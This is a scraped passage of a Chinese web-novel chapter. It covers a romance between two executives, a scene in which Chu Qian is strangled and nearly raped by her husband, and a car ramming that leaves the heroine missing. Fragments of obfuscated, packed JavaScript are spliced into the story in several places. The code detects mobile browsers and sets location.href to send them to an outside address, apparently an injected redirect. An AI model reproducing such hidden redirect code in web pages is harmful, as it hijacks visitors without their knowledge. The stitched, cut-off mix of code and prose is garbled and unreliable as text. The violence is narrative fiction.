l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290836|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘的机会,是绝对不会轻易放走这个机会的。尤其是,曾经也有过一段自己理想的生活。” 说到后半句时,她的语速突然慢下来,像是想到什么,眸色认真。 脑海中跳出很多画面。 聂秘书很快会意:“您是想到了您自己吧?傅总,我相信您,您也放心,您交给我的事,我一定会办好。” 傅珺瑶撇眸过去,胸腔微微起伏,唇边漫出声笑。 “聪明,继续保持。后年如果我能顺利升职,你也跟着我一起升,升不了我个人给你涨工资。” 聂秘书瞬间兴奋,脑袋如捣蒜般狠狠点动:“好!” …… 下班之后,傅珺瑶换上了最喜欢的那身灰色运动服,卸了妆,长发散开,戴上黑框眼镜。 在抽屉里翻出收好的相机外接闪光灯,选了之前开的那辆奥迪车。 再次往那条熟悉又陌生的路开,心口生出些难以压制的期待。 车停在路口,傅珺瑶拿着手机下车,循着记忆找到了最熟悉的小摊。 “老板,两碗螺蛳粉,一个加酸笋,一个不加,打包谢谢。” 老板忙着手里的动作,应和了声:“好嘞!” 傅珺瑶等在一边,两手捂在兜里,视线往两边探,一呼一吸间,全都是从摊位冒出来的烟火气。 她本能地勾了勾唇。 能偶尔这么放松一回,享受这样简单的快乐,也是种幸福。 半个小时后,环湖公园。 傅珺瑶拎着两碗粉走到熟悉的位置,架好闪光灯,没急着开吃。 正想问问某人什么时候到,那道温柔的声音已经先一步抵达。 “看来我也要加入傅总这个爱好了。” 傅珺瑶转头,没有了抢眼的黑色耳钉,那双褐眸便抢夺了全部视线。 她浅哼:“这爱好不好吗?” 视线下瞥,又挪回来。 轻轻咂舌:“果然还是得戴个耳钉,你这也太像老干部了。” 沈述白顺着她的目光往身上扫了眼,明显不那么赞同她的话:“老干部?” 走到她身边的空位坐下。 傅珺瑶连连点头,“你这身西装,哪哪都板正,搭在身上挺像那种早睡早起、禁欲多年的修身人。” “……” 沈述白瘪唇,直勾勾地盯着她。 傅珺瑶把那碗加了酸笋的粉递给他,几番迎上他的眸子,没能忍住笑。 只好安慰:“好啦好啦,我开玩笑。” “你不喜欢这种?那你帮我订几套西装。”沈述白心思不在吃的上。 傅珺瑶却迫不及待拆碗盖,实话实说:“谈不上喜不喜欢,纯粹是个人审美问题,你自己喜欢就好了,没必要按照我的审美来穿。” 没等沈述白接话,她又斜眼过去,眼眸轻眯,双神中漫出抹狡黠:“不过沈总如果想穿给我一个人看,想取悦我,那我也是能给沈总挑几件的。” 沈述白跟着笑了声,眸光变得缱绻,视线依旧定格在她脸上。 “行,那我等着穿。” 傅珺瑶挑了一筷子粉往嘴里送,问他今天怎么又能跟她出来吃饭。 沈述白解释:“奶奶今晚有个聚餐,爷爷和我爸去应酬了,我妈跟我哥纯粹睁一只眼闭一只眼。” 傅珺瑶乜斜他眼,不紧不慢咀嚼嘴里的粉,道:“那还真是天时地利人和哈?” “那也多亏这天时地利人和,才能见你一面。” 他突然冒这么一句,傅珺瑶耳根子窜起小火苗,她“嘁”一声,继续吃粉。 “想我没?”他又问。 “没想。”傅珺瑶低着头,迅速回应。 “真没想?”他紧追不舍。 “没有。”傅珺瑶依然否认。 “哎——”他突然叹了声长长的气。 傅珺瑶跟着抬眸。 心里有种熟悉的预感。 果然不出两秒,某人放下筷子,双臂抱在胸前,褐眸慢悠悠侧过来。 语调轻轻上抬,边说边晃脑袋:“当初也不知道是谁说,她要我,还是要让所有人都能知道的那种,结果现在连一句想我都不愿意说。” 67. 12 “……” 他居然把她的那招套过来了。 “我这几天晚上都没睡好,就等着今天能见你,没想到连这么点小愿望都没办法满足。” “……” 傅珺瑶停下手里的动作,眸子越过透明镜片,落定在男人脸上。 男人好整以暇地看着她,深褐色的眼瞳一瞬不瞬地凝过来,手撑着下巴,稍稍侧扬,唇边尚且留有一抹浅笑。 他在等她开口。 “好吧,想了一点。”傅珺瑶松口。 男人对这个答案似乎没那么满意。 “就一点?” “能想就很好了,我忙着恒璟和楚阿姨的事儿呢。” 傅珺瑶说的是实话。 提及这个,沈述白眼底漫出来的不正经收了回去。 “我那边……应该快了,这次…还多亏了那位宋董帮忙。”他说。 傅珺瑶点点头,没多问,“等事情结束,咱们好好感谢感谢人家。” “感谢的事我哥提前帮我们做过了,至于我哥,都一家人,不用客气。” 傅珺瑶注意到他脸上幸灾乐祸的神情。 “你好像很开心?” 沈述白没想着遮掩,点头:“以前他总欺负我,现在有人收拾他,我当然开心。” “欺负你?”傅珺瑶往他身上打量一番,浑然不信。 他看着可不像被欺负过的。 况且他心眼那么多,怎么可能会被欺负? 话问出口,傅珺瑶很快察觉到不对了。 果然,下一秒,沈述白瞬间变样,褐眸软下来,一副可怜兮兮的模样。 语气却依然正经:“是啊,我都被他欺负二十多年了,所以我这人就特别容易没安全感,特别需要在乎的人多说说想我。” “……” 傅珺瑶瘪唇,低下头嗦粉,不发一言。 她就白接他那几句话。 “真的很想听。” 他凑近,语气仍然一本正经,仿佛是在跟她讨论重要的工作项目。 “想听。”他再凑近。 嘴唇靠近她的耳廓,呼出来的气全喷洒在她的皮肉,只一瞬,像有无数颗小火点往皮肤里钻。 傅珺瑶下意识缩颈,落下的痒意带动着心跳加速,注意力再也无法集中在吃饭上。 “好啦好啦,想你想你想你!我这几天只要一空下来就在想你,做梦都在想你,满意了?”嘴巴跟机关枪似的,一句话突突往外冒,话说完了,耳根和脸也红了。 男人心满意足,重新坐好,眉眼弯起,唇角勾出弧度:“满意,特别满意。” 傅珺瑶知道他是故意的,睨他一眼,带着耳根子的余热继续手里的动作。 两人无言吃了会,直到碗里的粉见底,傅珺瑶不紧不慢地擦嘴。 男人再次开口,声音略微严肃:“不要和我断联,万事小心。” 傅珺瑶蓦然顿住。 掀眸望向他,对上那双认真的褐眸后,她也后知后觉。 他刚刚又是在给她排解情绪。 心脏悄然撞了撞胸壁,她朝他轻扬下巴,勾出抹浅笑:“知道啦。” …… 安静冷寂的客厅内,楚茜孤零零地坐在沙发上,腿上搁着傅珺瑶送她的那两本书。 头顶冰冷的灯光直直地洒在纸页,给印在上面的文字都镀了层锐光。 楚茜嘴唇动了动,牙齿轻轻闭合,咬住唇肉,牵起几分明显的痛感。 痛感沿着神经蔓延,刺激到眼角,眼前忽然模糊一片。她艰难地吸了口气,吐出来,拖着浓浓的涩味。 才女…… 她想到傅珺瑶说的话。 这个称号,久到她都快完全遗忘了。 久到像是上辈子的事了。 指腹停在“第二性”那几个字上。 从左摩到右,再从右摩回左。 指尖仿佛想要探清这几个字,直至清晰到足以开启她已经蒙尘的记忆匣子。 “啪嗒”一声,一滴清澈透明的水珠坠落在书封页,鼓起一个小小的珠丘,暂时没有散开。 楚茜悄然扯唇,勾起的弧度中却不含一丝愉悦。 她挪开视线,环视这栋几乎没有生气的房子。 也许这么多年过去,她是真的麻木了,麻木到都快忘了自己的存在。 分明当初她想象中的未来,并不是这样的。 不是失去金钱支配权的楚茜,不是结了婚却长期见不到丈夫的楚茜,不是没了精气神的楚茜,不是失去打扮欲的楚茜,不是被困在这里快要失去自我的楚茜。 到底是从什么时候开始,她的生活成了这样…… 腿上的力道一松,撑在上面的两本书下滑,那滴凝集的泪珠也从书封滑落,留下道明显的湿痕。 书本掉落在地毯的同时,大门也开了。 楚茜蓦然一激灵,转头看过去。 几天没见的苏津南终于回家。 他没看她,不紧不慢地换了鞋,又解了西装扣,越过玄关的同时,西装外套被他扔在沙发上。 他才轻撇撇开口,音色冷漠:“脏了,记得给我干洗。” 视线却没有一秒落在她身上。 又不等她搭话,继续冷嗤:“苏太太放心,只要你把我伺候好,钱少不了你的。去,给我弄碗燕窝粥。” 说这话时,他已经坐到沙发上,目光专注于手机。 楚茜身子一僵,脖颈慢慢转过去,双神略微空洞,漫着几分淡漠。 她没动,挪回视线,缓缓收起那两本书,“苏总没在情人那吃饱么?还回来吃什么夜宵?” 话音刚落,一记戾气稍重的眸光剜过来。 男人静默两秒,又倏然笑了:“怎么,苏太太这是吃醋了?” 楚茜不答,依旧没有要动的意思。 “你都不跟我睡一张床了,我再跟谁睡,你有什么好不舒服的?” 楚茜还是沉默,两手无声纠缠。 苏津南眯起眼,关了手机,注意力移到她身上来。 “你要做的,就是伺候好我,从我这里拿钱,知道么?” 楚茜的手捏紧,在血色还算充盈的皮肤上留下卡白的指印。 她紧咬牙关,硬撑着自己转头,逼着自己和男人对视。 “苏津南,如果你当初娶的是沈千仪,你到最后也会这么对她么?” 提到沈千仪,苏津南的脸色骤变。 不等他回答,楚茜又像是突然想到什么,眸中攀出衅意:“哦,我忘了,她不可能嫁给你,她从始至终选择的男人,都是傅臣东。” 原本还带着几分不屑的脸瞬间沉肃下来,瞬间染上怒意。 不过一瞬,距离楚茜不远的人影“蹭”地站起。不等她躲避,脖颈已经被他的手掌狠狠扼住。 “你活腻了是吧?!” 楚茜整个人被钉在沙发上,后颈严丝合缝地贴着沙发靠背,完全没有后躲的余地。 颈前,苏津南几乎使出全部气力,另一只手甚至死死掐住她的肩口。 呼吸的腔道瞬间不通畅,喉间被巨大的力道挤压,楚茜那张苍白素净的脸瞬间涨红。 她没挣扎,对上苏津南已经微微发红的双眸,心底攀起一丝快感。 她嗤笑,一个字一个字艰难地吐出:“苏津南,你这辈子,就是个失败者!你……” “呃……” 后面的话还没说完,颈上的压迫感更重,眼前的男人面目逐渐狰狞。 他双眸瞪圆,咬着牙冷嗤:“失败?楚茜,我如果失败,你也是失败的苏太太!你这辈子,就是要以我为中心生活!” 强烈窒息感迅速攀升,楚茜忍不住蹙眉,看向他的双神慢慢凛出嫌恶的光。 这辈子…以他为中心…… 这辈子…… 楚茜身侧的手慢慢握紧。 苏津南按在她肩口的手突然上移,顺进她的发梢,又猛然收紧。 “嘶——” 头皮凶猛的撕扯感从一小块迅速四散开,楚茜眉心拧紧,眼眸被扯着紧闭,本能的酸意剧烈上冲。 耳边冲进苏津南近乎失控的怒吼:“什么才女?什么人物?我告诉你,你这辈子就是我的附属品!你就是被我拿来消解的替身!你什么都不是!” 楚茜半眯着眼,眼角窜出几串滚烫的泪水,鼻腔里浸满粘液,窒息感越来越重。 附属品……替身…… 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295624|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚茜曾经分明最不想被贴上这种标签。 不是…这不是她…… 她死死盯着那张恶心的脸,左右拧动脖子,想要挣脱,身侧的手迅速扒牢他钳制她的胳膊,指甲掐进他的皮肉,腕上使力,掌际推得发白。 牙关紧咬,原本被郁色铺满的眸子里一瞬爬满倔强:“你……松…松开……” 泪水滚得越来越多,男人的视线突然跟随着那几串泪珠移动。 上面的力道挣不脱,楚茜本能地抬起腿,不顾一切地往前踢。然而两条腿还没碰到他,钳制她脖颈的压力骤降。 苏津南没有完全松开她,只是突然凑近,脸上的怒气不知怎的消散大半,唇角勾起抹阴寒的笑,伴随着熟悉的危险气息。 “你这个样子,真像她!当年她反抗的时候,也是这样一副表情!” 话语一出,楚茜眉心狠狠抽动两下,胃里一阵翻江倒海的恶心。 苏津南撕扯她头发的手抽出来,慢慢下移,眼睑跟着抬起,眸光里染上浓重的欲念。 楚茜几乎瞬间意识到他想做什么,两只手掐得越来越重,好不容易趁他懈力挣开他的钳制。 好恶心…… 她不是她…… 她不是! “放开我!你放开我!!” 解皮带的声音回荡在这个封闭的环境里,不断刺激楚茜的耳膜。 他一个翻身,整个躯体的力道压上来,完全断绝她的退路。 “放开?苏太太,这是你该尽的义务!” 他的眉眼弯得更深,眼尾迸开几道明显得皱褶。 皮带解开,他的手很快往楚茜的裙下探去。 恐惧伴随着浓烈的恶心占据心脏,楚茜弓起腿,重重地往前踢。 “别碰我!别碰我!滚开!滚!!” 她不要…… 她不要! 踢出去没几下,脚腕骤然被他抓牢,转瞬被他压在腿下,再没了攻击的余地。 接连而上的,两只手被猛然上推,关节活动过快挤出剧烈的痛感。 楚茜的嘴唇忍不住扯动,上下颌紧绷,眼角的泪不断沁出,挣扎的动作半刻没有停下。 不要! 不要! 他却像是看着即将到嘴的猎物,眼底满是轻蔑和嘲弄:“你再用点劲,老子今晚要定你了!” 说罢,他倾身,嘴唇对准楚茜的唇。楚茜的五官挤在一起,拼了命地去躲避他压上来的嘴唇。 “松开!滚!你给我滚!”她大叫。 “给你滚?你算老几?!这个家是我说了算!”苏津南的动作更疯狂,手掌直接冲到她的大腿,捏住那一小块布料,猛地往下扯。 “啊——”楚茜的眼角几乎被泪水糊满,什么都看不清。 脑海中只有一个念头:反抗。 她不要被他强-奸!她不要再当苏太太!她不要!! 两条腿哪怕被钳制,依然拼尽全力往上踢。 “放开!放开!!” 她憋着气,全身气力瞬时往腿部肌肉聚集。 “啊!!” 一声重重的闷响伴随着楚茜的尖叫落下,苏津南忍不住哼了声。他吃痛,眉目挤在一起,抬手捂在被她踢到的胸口。 “你敢踢我?!” 他扬起巴掌,眼看着就要扇过来。楚茜铆足了劲,迅速侧身,从沙发上滚了下去。 苏津南的巴掌落了空。 楚茜毫不犹豫,想要往大门跑,可扒着地毯才爬了两步,苏津南已经追上来,死死扯住她的头发。 强烈的痛感再次袭来,楚茜的双腿再次被强劲的力量约束。 他用力一拧,直接拉起她的头,她的上半身被迫悬空。 他侧在她耳边,恶狠狠道:“想跑?老子说了,今晚要定你了!” 话音刚落,他直接从后面撩起楚茜的裙子。 不要……不要!! 楚茜拼命侧动,双腿紧闭,依旧不放弃挣扎。 不要! 她不要被强-奸! “跑啊!我看你能不能跑掉!你……” 一阵急促的手机铃声突然响起,骤然打断苏津南的话。 动作也停了下来。 68. 13 楚茜看不到后方,只察觉苏津南是从口袋里掏出手机。 安静了两秒,背上的重量一轻,他从她身上起来。 楚茜没有半刻停顿,撑着身体最后的一点力,猛地爬起来,两条腿本能地跨开,迅速往二楼跑。 苏津南的视线冷冷追随过去,接通电话。 他也没压着声:“干什么?” 那头不知道说了什么。 苏津南听到房门被撞紧的声音,哼了声:“行,明天我开那辆白色保时捷,别认错了。” 挂断电话后,他的目光还停在二楼的方向,喉间溢出声冷笑,起身,准备上去。 被上了锁的房间门口,苏津南没敲门,声音沉下来:“今晚暂且放过你,等明天…我再回来好好陪你。” 他停顿两秒,咬重后面的字:“苏、太、太!” 楚茜站在房间里的浴室门口,双手交叠捂紧胸口,背脊紧紧贴着玻璃门,身子轻轻发颤。 听到渐行渐远的脚步声,凝滞在鼻腔的那团气才慢慢恢复流动,呼了出来。 眼眶里残留的泪珠滚落,滑进嘴里,冰凉又咸涩。 她赤着脚走进浴室,关上玻璃门。 数十道水柱从花洒里喷下,原本透明的玻璃门很快被雾气模糊。 她没急着走到花洒下,转身,对上被水汽沾染的镜子里,那道绝望又带着隐隐期待的眸子。 她不想再伺候他。 她不想跟他有身体接触。 她不要等着明天。 她不要再经历心惊胆战的明天。 她不要当苏太太。 她不要再当手心向上的苏太太。 她不要再当包容错误的苏太太。 她不要……不要再沾上罪孽。 眼前再次模糊,耳边回荡着那个女人的话。 “楚阿姨,只要您想做自己,任何时候都有机会做自己,不管是以前,还是现在。” 她那张看起来好像很严肃的脸却柔和尽显,见到她时,她总会弯着眉眼。 “楚阿姨,香橙巴斯克配上金骏眉,我记得您之前最喜欢这样的搭配。” “楚阿姨,您有需要尽管联系我。” 楚阿姨、楚阿姨…… 眶中的热泪奔涌而出,她望着镜中已经模糊的自己,慢慢抬掌,扫开雾气。 她的模样再次清晰。 楚茜蓦然笑了,唇角咧开,笑意跟随着面部肌肉往上攀升,抚平了下撇的眉头。 傅珺瑶说的没错,她还有机会做楚茜。 她还有机会……洗去一身罪孽。 还有机会,逃离这个她早就应该逃离的地方。 …… 傅珺瑶早上起来洗漱完,给沈述白发了条消息过去后,站在衣帽间,越过那一排排西装,挑了件黑色真丝衬衫。 配上驼色铅笔裙,她不紧不慢穿好。偌大的全身镜前,她左右侧身,围着自己看了一圈,勾唇,满意笑笑。 她今天没束起长发,只简单梳理,披在肩头。唇上涂了新选的色号,浅红茶色稍微提气色,淡化了双目间隐隐透出的厉光。 提着包下楼,她又特地选了双栗色高跟鞋。 正要出门,手机突然响了。 微信消息过来,她边开门,顺手看了眼,身体停在门缝间。 视线盯着那条消息,她眼角几不可察地抽了抽。 一声很轻的哼笑从鼻腔溢出,身体侧出来,大门紧紧合上。 电梯门闭合的那一瞬,她关了手机,没回复那条消息。 反光的金属门上,倒映出她势在必得的面庞。 …… “傅总,您今天这身好适合您!”聂秘书进来汇报工作,眼神忍不住在她身上打量。 傅珺瑶轻轻扯唇,“事情安排好了吗?” 聂秘书很快会意,把车钥匙递到她跟前。 语气肯定:“一切妥当。” 傅珺瑶嗯了声,把车钥匙收好。 聂秘书出去后,傅珺瑶才又拿出手机,点开聊天框,回到那条没有被她回复的消息上。 【珺珺,我是楚茜。在你去见苏津南之前,我想见你一面,有很重要的事和你说,请你一定要答应。】 傅珺瑶勾了勾唇,回复:【没问题楚阿姨,您定好时间和地点告知我就好。】 那头很快有了回音:【好!】 退出聊天框,傅珺瑶直接联系了顾清漪。 “清漪,机会来了。” …… 下午三点。 傅珺瑶准时出现在和苏津南约好的茶厅。 “苏总。”她脸上依旧挂着礼貌的浅笑,稍稍颔首。 苏津南也一如既往,眉眼温和,笑容敛煦。 “傅总,请坐。”他微微抬手,指向面前的座位。 侍者上完茶水,照例出去,关了隔间的门,阻隔外面的嘈杂与喧嚣。 苏津南朝身旁的助理使了个眼色,助理只放下两份合同,悄然离开。 苏津南也不绕弯子,直言笑道:“傅总,合同我这边没什么问题,你再确认一遍,没什么疑问就直接签字吧。” 他把合同慢慢推到她跟前,又不紧不慢地抿了口茶,茶雾飘散,他的视线穿过雾气,落在傅珺瑶身上。 不过两秒停顿,傅珺瑶毫不迟疑,拿起里头的签字笔,快速签下。 又抬眸对着男人笑笑:“当然没有疑问,是我得感谢苏总能够不跟我计较。” “嗒”的一声,茶杯放下,苏津南唇角牵起,眼尾慢慢叠起几道皱纹。 面色带着一贯的谦和,递过来的眼神里满透着长辈对晚辈的欣赏和包容:“哪里的话?你是臣东的侄女,自然也是我的侄女,你的要求,我自然会答应。” 闻言,傅珺瑶点了点头,唇角的弧度依旧浅勾:“苏伯伯说的是,自从我接替恒璟总经理的位置,也一直担心自己做的不够好,也担心自己没能比大伯和我哥哥尽人意。不过好在…能有像您这样的前辈愿意包容我。” 苏津南眼底的笑意更浓,等她摁下指纹和公章,不急不缓接过合同。 边签字边道:“你呀,肯定能像你大伯一样的。” 傅珺瑶的视线悄然扫过他,又迅速收回来。 无声凛唇。 签完合同,苏津南的助理进来。 “苏总,公司还有事情需要您回去处理。” 苏津南起身,“傅总,那咱们就一起走吧?” 傅珺瑶跟着起身,没拒绝。 白色的保时捷前,苏津南的助理给他开了车门,不远处的傅珺瑶没急着上车。 “今天秘书没跟着一起?”苏津南注意到。 傅珺瑶背过手,眉眼稍弯:“是,我正好要去郊外别墅那边找清漪,就没让她跟着。” 苏津南也跟着扬了扬唇,语气深长:“那傅总路上可得注意安全呐。” “您放心吧,我的开车技术,勉勉强强还算合格。” 苏津南点点头,上了车。 等保时捷开出些距离,傅珺瑶才进了驾驶座。 她掀眸看了眼后视镜中的自己,面色还算平静。发动机启动后,慢慢放了手刹,油门踩下去,车子汇入主车道。 车载电子屏内,她找到沈述白,直接打通电话过去。 - 十字路口的红灯转绿,傅珺瑶看到那辆白色保时捷右转。 她瞟了眼车后镜,左转向灯闪烁亮起。 单手握着方向盘,匀速跟在车流中。 她看着电子屏上还在不断变换的通话数字,眸光揉进了从窗外透进来的细碎光线,突然对着那头笑了声。 “沈述白,你有没有觉得……很神奇?” 那头沉默了两秒。 傅珺瑶继续:“二十多年前是我大伯和你姑姑,二十多年后是我和你。” “虽然我对大伯的印象不深,但…但我总是听我爸说,他有一个责任感很重的哥哥,因为哥哥庇佑,他才能随心所欲,不受爷爷管控。据说在我周岁的时候,大伯还送我了一枚定制的权杖钻戒,说我是傅家的第一个女儿,也可能是傅家未来第一个进入恒璟的女高层。” “他的话确实实现了,可是……他们都不在了。” 说到最后,傅珺瑶鼻腔隐隐发酸。 她还记得那枚钻戒,指围尺寸她现在已经戴不上,不过一直被她好好放着,和后来爸爸送的钻戒一起。 那头依旧沉默,只能听到细小平缓的呼吸声从听筒钻出来。 傅珺瑶深吸了口气,慢悠悠吐出来。 只是越是回想,脑海中跟着攀升的恨意就越浓。 如果…… “珺珺。” 他温柔轻缓的声音滑进耳际,暂时敲散了那股戾气。 傅珺瑶又看了眼电子屏上的备注,等着他开口。 “我们和他们血脉相连,如果傅沈两家注定逃不开劫难,那这一次就是你大伯和我 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脸上还没来得及做出什么反应,那辆车的速度又蓦然慢了下来。 监测器的声音陡然停下,车距重新拉开。 傅珺瑶转眸,看到了不远处路口的交警,沉了口气出来。 “怎么了?”那头的沈述白察觉到不对。 傅珺瑶睨了眼后方的车,暂时看不清驾驶座的人,说:“后边那车想追我尾,不过前面遇上交警了。这还没到郊区呢,至于这么心急么?” 话到后面,傅珺瑶忍不住吐槽起来。 “珺珺,要不我还是过去找你吧,我……” “不用。”沈述白话还没说完,傅珺瑶便打断。 她语气笃定:“这离郊区也没多远了,你放心,我能行,相信我。” 那头停顿两秒,妥协道:“一定要小心。” 傅珺瑶追着倒计时的绿灯过了路口,把那辆车暂时甩在后边好一段距离。 速度稍微慢了点,傅珺瑶从后视镜里继续探那辆车的影子。 可一直到车上了高速、又下了高速,傅珺瑶都没再见到那辆黑色大众。 清晰的车后镜里,她的眉头慢慢蹙紧。 下意识怀疑:难道那不是跟踪她的车? 傅珺瑶的视线反复瞥向车后镜,不断确认,还是没看到那辆车。 “不会吧?是我猜错了?那辆车不见了。” 电子屏上的导航地图里,她也越来越靠近沈述白所在的位置。 那头的人道:“先别急,我来找你。” 傅珺瑶沉吟,盯着空荡荡的车后方,轻啧了声,有些失望。 然后才回应沈述白:“好。” 话音刚落,耳边几乎是同时响起轮胎和沥青路面强力摩擦的声音,连带着发动机的轰鸣,又牵起柔和的热风飞速狂奔。 每一下都精准地刺在耳膜上,隐隐发疼。 傅珺瑶本能地抬手捂着耳朵,轻轻龇起牙,两只眸子也无意识眯起,头往一边躲。 她强忍着不断刺进耳膜的不适感,眉头紧拧,看清从侧边风驰电掣过来的黑色大众,心口猛然一紧。 她迅速踩重油门。 一声更尖锐的轮胎声擦在路面,车距监测器迅速报警,不过几秒,又陡然安静。 傅珺瑶的一双黑眸紧缩,看着后视镜里几乎以一厘之差擦过去的车角,庆幸地松了口气,可这气还没彻底松下去,便被盘绕至心口的紧张取代。 居然从这个方向冲过来?! 是知道她要来别墅区,特地绕了近道么?! 她极速咽了几下喉,方向盘尽量握紧,油门踩重、再踩重。 “珺珺?!”沈述白的声音略微焦急。 傅珺瑶根本顾不上回答沈述白,车距监测器响了又停、停了又响,牵动着她的心脏几次抛高,几乎提到嗓子眼。 两旁路边的绿树飞速往后移动着,逐渐下移的金光也被狠狠甩在车尾气后。 “滴滴滴——”车距监测器的声音连续不断,完全没有要中止的意思。 傅珺瑶的牙关骤然紧咬,油门已经踩到底。 “珺珺!!” “啊——” 沈述白完全失去平稳的声音和傅珺瑶下意识的尖叫同时响起,还伴随着金属剧烈撞击的声音,几乎震耳欲聋。 69. 14 恒璟大楼,傅淮湛着急忙慌地冲进老爷子的办公室,连门都忘了敲。 “爷爷,出事了!” 老爷子被他急促声音震得肩口一颤,眉头蹙起,“啧”了一声,语气稍稍不满:“有什么事慢慢说,门都不敲,像什么样子?!” 傅淮湛也来不及去解释什么,稍稍凌乱的发丝挂在额前,西装跟随着胸廓起伏不定。 他略带喘息道:“是珺珺!她的车在郊区被撞得稀碎,人也不见了!” 闻言,老爷子猛地拍桌,一把老骨头迅速撑着身体直立,苍老的灰眸瞬间瞪圆:“什么?!” …… 两个小时后。 傅淮湛赶紧停好车,立马解开安全带,跑到另一侧给老爷子开了车门。 又搀扶着他,往事发地点走。 视线越过被拉起的警戒线,那辆白色的宝马车金属外壳被黑色大众撞得凹陷,玻璃车窗碎成一片,路面带着明显的擦撞痕迹。 最后落定在熟悉的车牌号上。 老爷子脚步突然一僵。 被傅淮湛搀扶着的胳膊也突然收紧,眼瞳紧缩,半掩在胡子下的薄唇微微张开,压制不住地颤抖。 傅淮湛跟着停下来,视线扫过那辆车,又转回来,对着身旁的老爷子,试探性开口:“爷爷…这不是您送给珺珺的车吗?我记得这还是她的第一辆车。” 话音刚落,老爷子的手也骤然捏紧,遍布手上的皱纹都快要扯平。 一阵更急促的脚步声突然冲过来。 “傅爷爷!”顾清漪慌乱地跑过来,眉眼紧皱在一起,眼尾还隐隐带着湿润。 “我听说珺珺出事了,我今天跟她约好的见面,她说和苏伯伯谈完工作就过来,这怎么会……”她的声音愈发紧促,尾音明显颤抖。 老爷子沉默不语,一双厉目沉肃,染了层明显的怒意。 顾清漪看了眼老爷子身边的傅淮湛,暂时没再继续往下说。 “傅先生是吧?”负责的警官过来。 傅淮湛点了点头。 他简单说明了情况,老爷子会神听下来,眉头越蹙越紧。 那辆黑色大众先是追了尾,又从侧边撞过去,直接撞碎了傅珺瑶的车窗玻璃,车内暂时没发现血迹,只是也难以判断傅珺瑶的踪迹。 这一带监控少,死角又多,这辆黑色大众甚至是黑车,车牌号也是假的。 “那珺珺不会被人给带走了吧?!”顾清漪瞪大双眸,惊恐地瞟向老爷子。 老爷子眉心一抽,视线猛然对过去。 警官安慰道:“几位放心,我们肯定会尽力去找寻傅小姐的踪迹。” “傅爷爷……”警官留下傅淮湛的联系方式之后走远,顾清漪下意识搀住老爷子的胳膊,语气里的担忧未减半分。 “爷爷,珺珺她会不会真的出事了?就像当初大伯……”傅淮湛也一脸愁容地看向老爷子。 “住口!”傅淮湛话还没说完,老爷子厉声喝停,左右被搀着的胳膊却藏不住颤意:“绝对不可能!珺珺绝对不可能出事!” 傅淮湛瞬间噤声。 顾清漪也低下头,一言不发。 老爷子一瞬不瞬地前方那辆被撞得变形的车,原本发白的眼角逐渐横了几根红血丝,睑内多了几分湿润。 他不动,傅淮湛和顾清漪也不敢轻易动作。 一缕风拂过,扬起路面的灰尘,迎面扑过来,刺得眼角微微涩疼。 傅淮湛撇过头,视线在老爷子身上几经辗转,话语绕在喉间许久,才试探性开口:“爷爷,会不会是珺珺真的查到什么,所以……” 他的话只说一半,停在了这里。 老爷子斜眸过来,狠狠睨上他的双神。 傅淮湛本能地一颤,没两秒,目光自觉躲开。 老爷子再次扫过眼前的车辆,停在白色宝马的车牌号上,喉间挤出声沉哼,侧身:“先回去!” “傅爷爷,我也跟你们一起!” …… 傅宅。 几人才到家,李茗蕤和傅臣北几乎是立刻迎上来。 李茗蕤两手捏紧,满面愁容,一双平缓的眉头紧皱,语气带满焦急:“淮淮,珺珺呢?珺珺有没有消息啊?!” 傅臣北脸色紧绷,凛眸扫过来。 傅淮湛眼神短暂和两人交汇,又迅速移开。他抿唇,话语绕在舌尖,几次经转,才说出口:“目前……还没有。” “陈警官给的答复是,只有车祸痕迹,车里没有血迹什么的,珺珺应该没受什么伤,就是人失踪了,需要花点时间找……” 傅淮湛尽量用最简短的话把事情解释清楚。 “失踪了?!”傅臣北质疑:“没有查监控吗?!” 再经历一次这样的事,他的语气不免更焦急。 “爸,查监控也是需要时间的,而且那一带监控少,恐怕找到不是一时半会的事……” 傅臣北的脸色瞬间铁青。 顾清漪帮着傅淮湛把老爷子扶到客厅,又叫了吴阿姨帮忙倒几杯热茶。 “是苏津南干的吗?!” 老爷子刚坐下,傅臣北的质疑声几乎不带任何怀疑出口。 傅淮湛的视线轻轻瞥过顾清漪,又低下头,帮老爷子挪好身后的软枕。 “傅伯伯,今天是我约了珺珺在郊外别墅见面,珺珺她说去签完和苏氏的合同就过来……”顾清漪站在老爷子身边,两手交叠在腹前,声音很低,甚至带了一丝哽咽。 话音刚落,李茗蕤瞬时抓紧傅臣北的胳膊,一贯温和的声音陡然尖锐:“所以真的是他!” 傅臣北脸上的怒气更甚,先拍了拍李茗蕤的手,又把视线挪向沙发上的老爷子。 “爸,您现在总该完全相信珺珺的猜想了吧?!” 老爷子不回答,只沉了口气,眉头紧紧拧在一起,不知道在思索着什么。 客厅骤然陷入沉默。 悬在顶上的灯光凝结冷气,所有人周遭的气氛都往下沉。 茶杯里的热雾也逐渐没了影。 老爷子蓦然抬手,摸在了眉毛上,又似乎觉得不对,挪到了鼻头,还是觉得不对,停在了胡茬,最后又轻颤着放回腿上。 几根手指像是神经根错节一般,不受控地乱抖。 薄唇几次努起,不断做着吞咽动作。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17304001|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 